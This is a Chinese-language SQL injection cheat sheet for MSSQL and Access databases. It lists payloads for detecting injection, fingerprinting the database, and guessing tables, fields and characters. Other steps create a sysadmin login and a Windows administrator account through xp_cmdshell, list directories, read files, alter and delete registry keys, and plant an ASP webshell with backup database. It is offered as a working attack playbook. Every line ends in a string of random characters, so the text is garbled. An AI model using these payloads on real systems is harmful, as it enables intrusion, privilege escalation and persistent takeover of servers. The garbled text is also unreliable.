1.判断是否有注入;and 1=1 ;and 1=2 `p7&>
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2.初步判断是否是mssql ;and user>0 A6pjRxg
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3.注入参数是字符'and [查询条件] and ''=' )h8\u_U
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' *s>BG1$<
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5.判断数据库系统 Myq5b`z
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;and (select count(*) from sysobjects)>0 mssql eU N"w,@y
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;and (select count(*) from msysobjects)>0 access 3,Q^&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ~35U]s@v
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Cc, `}SP
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ]+m/;&0
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9.(1)猜字段的ascii值(access) j$TwL;
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 j*
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(2)猜字段的ascii值(mssql) !QT'L,_
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10.测试权限结构(mssql) AT\qiznvP
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- \^V`ds*.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [M%9_CfZOy
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- k,uK6$Z
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- v i)%$~
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- gn{=%`[
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- _zu?.I0^
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;and 1=(select IS_MEMBER('db_owner'));-- _HA$
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11.添加mssql和系统的帐户 \Fe_rh
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;exec master.dbo.sp_addlogin username;-- 3F#+~^2
;exec master.dbo.sp_password null,username,password;-- C P3<1~
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- :v L1}H<
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;exec master.dbo.xp_cmdshell 'net user username password x#N-&baS
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- A, PlvI
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- +]@Az.E
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12.(1)遍历目录 k5&bq2)I
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;create table dirs(paths varchar(100), id int) $^tv45
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;insert dirs exec master.dbo.xp_dirtree 'c:\' CZEW-PIhj
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;and (select top 1 paths from dirs)>0 (#oycj^<
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) sK 2
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(2)遍历目录 /"ymZI!k\
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- (Bo bB]~a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 i%#$*
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ntP|\E
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w^1Fi8+
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 = zl=SLe
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13.mssql中的存储过程 LjdYsai-
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xp_regenumvalues 注册表根键, 子键 M"_FrIO
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )nu~9km3
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xp_regread 根键,子键,键值名 LihjGkj\g
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 eu'1H@vX(
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xp_regwrite 根键,子键, 值名, 值类型, 值 j|e[s ?d
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 M@p"yq
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xp_regdeletevalue 根键,子键,值名 FXo2Y]K3`L
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ?G?gy2
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0W>9'Rw
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14.mssql的backup创建webshell B(l-}|m_
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use model sygH1|f
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create table cmd(str image); S2~@nhO`U(
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insert into cmd(str) values (''); v6e%#=
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backup database model to disk='c:\l.asp'; qvt-
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15.mssql内置函数 8o)L,{yl
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;and (select @@version)>0 获得Windows的版本号 .F0]6#(
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa JatHSW7j9
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;and (select user_name())>0 爆当前系统的连接用户 c!&Qj
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;and (select db_name())>0 得到当前连接的数据库 FQf#*
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16.简洁的webshell dDKqq(9(`
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use model n_$yV:MuT!
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create table cmd(str image); 0^]t"z5f0
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insert into cmd(str) values (''); LCQkgRs}~{
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backup database model to disk='g:\wwwtest\l.asp';